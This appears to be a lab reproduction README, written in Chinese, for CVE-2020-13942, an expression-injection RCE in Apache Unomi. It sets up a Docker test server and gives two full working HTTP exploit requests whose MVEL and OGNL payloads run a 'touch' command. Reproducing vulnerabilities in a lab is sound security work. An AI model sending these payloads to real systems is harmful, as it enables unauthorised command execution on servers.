Aaron
63285f61aa
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103 lines
3.1 KiB
Markdown
103 lines
3.1 KiB
Markdown
# Apache Unomi 表达式注入远程代码执行漏洞（CVE-2020-13942）
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Apache Unomi 是一个基于标准的客户数据平台（CDP，Customer Data Platform），用于管理在线客户和访客等信息，以提供符合访客隐私规则的个性化体验。在Apache Unomi 1.5.1级以前版本中，存在一处表达式注入漏洞，远程攻击者通过MVEL和OGNL表达式即可在目标服务器上执行任意命令。
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参考链接：
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- https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
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- https://github.com/eugenebmx/CVE-2020-13942
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## 环境搭建
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运行如下命令启动一个Apache Unomi 1.5.1的服务器：
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```
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docker compose up -d
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```
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环境启动后，通过`http://your-ip:8181`或`https://your-ip:9443`即可访问到Unomi的API。
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## 漏洞复现
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通过8181和9443两个端口均可触发漏洞，以下以8181为例。
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通过MVEL表达式执行任意命令：
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```
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POST /context.json HTTP/1.1
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Host: localhost:8181
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
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Connection: close
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Content-Type: application/json
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Content-Length: 483
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{
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"filters": [
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{
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"id": "sample",
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"filters": [
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{
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"condition": {
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"parameterValues": {
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"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/mvel\");"
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},
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"type": "profilePropertyCondition"
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}
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}
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]
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}
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],
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"sessionId": "sample"
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}
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```
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通过OGNL表达式执行任意命令：
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```
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POST /context.json HTTP/1.1
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Host: localhost:8181
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
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Connection: close
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Content-Type: application/json
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Content-Length: 1064
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{
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"personalizations":[
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{
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"id":"gender-test",
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"strategy":"matching-first",
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"strategyOptions":{
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"fallback":"var2"
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},
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"contents":[
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{
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"filters":[
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{
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"condition":{
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"parameterValues":{
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"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/ognl\"))",
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"comparisonOperator":"equals",
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"propertyValue":"male"
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},
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"type":"profilePropertyCondition"
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}
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}
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]
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}
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]
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}
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],
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"sessionId":"sample"
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}
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```
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进入容器，可见命令已执行成功：
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